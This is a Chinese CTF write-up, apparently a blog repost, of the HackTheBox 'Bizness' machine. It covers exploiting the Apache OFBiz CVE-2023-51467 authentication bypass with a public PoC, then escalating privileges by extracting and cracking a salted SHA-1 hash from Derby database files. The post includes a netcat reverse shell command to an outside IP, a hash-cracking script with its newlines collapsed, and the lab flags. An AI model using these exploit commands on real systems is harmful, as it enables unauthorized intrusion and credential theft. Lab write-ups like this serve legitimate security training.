【渗透测试】HackTheBox靶场之Bizness

admin 2024年3月5日18:40:57评论18 views字数 2415阅读8分3秒阅读模式
暗魂攻防实验室

0x01 信息收集

过了一个年,太久没动脑了,随便做个靶场活跃一下脑子。

打开机器后,IP地址为:10.10.11.252

【渗透测试】HackTheBox靶场之Bizness

然后进行信息收集,首先扫描开放的端口

nmap -sV 10.10.11.252

【渗透测试】HackTheBox靶场之Bizness

发现开放了22,80,443端口,显示linux系统。通过浏览器直接访问IP地址自动跳转到域名bizness.htb后访问失败,因此我们需要加hosts进行域名绑定,有火绒直接用火绒那边修改

【渗透测试】HackTheBox靶场之Bizness

访问后是一个网页

【渗透测试】HackTheBox靶场之Bizness

0x02 web渗透

随便点点未发现东西,随即我们对该网站进行dirsearch目录扫描看看是否存在一些路径

python3 .dirsearch.py -u https://bizness.htb/

【渗透测试】HackTheBox靶场之Bizness

扫描后发现存在一些登录路径,通过对网页的foot发现是一个 Apache OFBiz框架

【渗透测试】HackTheBox靶场之Bizness

尝试弱口令后无果,然后通过百度进行搜索该框架是否存在漏洞,发现最近有远程代码执行漏洞CVE-2023-51467,然后github搜索该漏洞的POC:https://github.com/jakabakos/Apache-OFBiz-Authentication-Bypass,然后进行poc验证

 python3 exploit.py --url https://bizness.htb/

【渗透测试】HackTheBox靶场之Bizness

验证后发现存在该漏洞,随即进行漏洞利用反弹一个shell回来

python3 exploit.py --url https://bizness.htb/ --cmd 'nc -c bash 10.10.14.10 1234'

【渗透测试】HackTheBox靶场之Bizness

升级成交互式shell看的更舒服方便

python3 -c 'import pty;pty.spawn("/bin/bash")'

然后进入home目录,找到第一个flag

bcbb4864adbb5d2de97c75432cca4eb0

【渗透测试】HackTheBox靶场之Bizness

0x03 权限提升

按照尿性使用sudo -l查看特权文件,发现还是需要密码。。

然后直接find查找root、admin关键字

find / -name "*admin*"

【渗透测试】HackTheBox靶场之Bizness

不过好像没找到啥,要不然就只能进网站跟目录一个个看有没有什么线索,根目录在/opt/ofbiz下,就是反弹shell时候初始路径,然后找了很久很久很久,终于找到一个配置文件了

/opt/ofbiz/framework/resources/templates/AdminUserLoginData.xml

找到一个登录密码的hash值,不清楚是哪种加密,只能重新找线索

{SHA}47ca69ebb4bdc9ae0adec130880165d2cc05db1a

【渗透测试】HackTheBox靶场之Bizness

尝试找一下数据库配置文件,直接问chatgpt:<OFBiz安装目录>/framework/entity/config/entityengine.xml

【渗透测试】HackTheBox靶场之Bizness

找到了一些数据库账号密码,但是好像也没开放数据库端口

【渗透测试】HackTheBox靶场之Bizness

然后看到有个数据库名字叫derby的,然后chatgpt说derby数据库文件在<OFBiz安装目录>/runtime/data/derby/

【渗透测试】HackTheBox靶场之Bizness

那么就切换到该路径:/opt/ofbiz/runtime/data/derby/ ,然后看到ofbiz目录下有个seg0目录,下面好多个dat,应该就是放数据的地方

【渗透测试】HackTheBox靶场之Bizness

然后遍历下所有的dat,看看有没有password的关键字

strings -f *.dat | grep -i 'password' 

【渗透测试】HackTheBox靶场之Bizness

找到一个passowrd,不过也是SHA-1算法加盐值d的哈希值

$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I

这里需要对哈希值进行破解,这里使用脚本:

import hashlibimport base64

def crack_sha1_with_salt(hash_value, dictionary_path):    with open(dictionary_path, 'r', encoding='utf-8', errors='ignore') as f:        for word in f:            word = word.strip()            salt, encoded_hash = hash_value.split('$')[2:]            encoded_hash += '=' * (-len(encoded_hash) % 4)  # 添加适当数量的填充字符            decoded_hash = base64.urlsafe_b64decode(encoded_hash.replace('-', '+').replace('_', '/')).hex()            salted_word = salt + word            hashed_word = hashlib.sha1(salted_word.encode('utf-8')).hexdigest()            if hashed_word == decoded_hash:                return word    return None

# 输入参数hash_value = "$SHA1$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I"dictionary_path = "/usr/share/wordlists/rockyou.txt"

# 调用函数进行破解result = crack_sha1_with_salt(hash_value, dictionary_path)

# 输出结果if result:    print("破解成功!密码为:", result)else:    print("未找到匹配的密码。")

还有一个知识点,为了保证哈希值传输的完整性,脚本里面需要使用base64编码和编码中的特殊字符进行替换

【渗透测试】HackTheBox靶场之Bizness

【渗透测试】HackTheBox靶场之Bizness

这里也是很多师傅写文章时候容易忽略的问题,知道要替换,但是为什么要替换也没有提到。知其然要知其所以然。

破解成功,密码为:monkeybizness

【渗透测试】HackTheBox靶场之Bizness

然后su切换到root用户,密码正确

【渗透测试】HackTheBox靶场之Bizness

在root目录下找到root flag:

e8b759fe6e2b0c675302b565709bfef5

【渗透测试】HackTheBox靶场之Bizness

完结撒花!

【渗透测试】HackTheBox靶场之Bizness

原文始发于微信公众号(暗魂攻防实验室):【渗透测试】HackTheBox靶场之Bizness

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月5日18:40:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【渗透测试】HackTheBox靶场之Biznesshttp://cn-sec.com/archives/2547299.html

发表评论

匿名网友 填写信息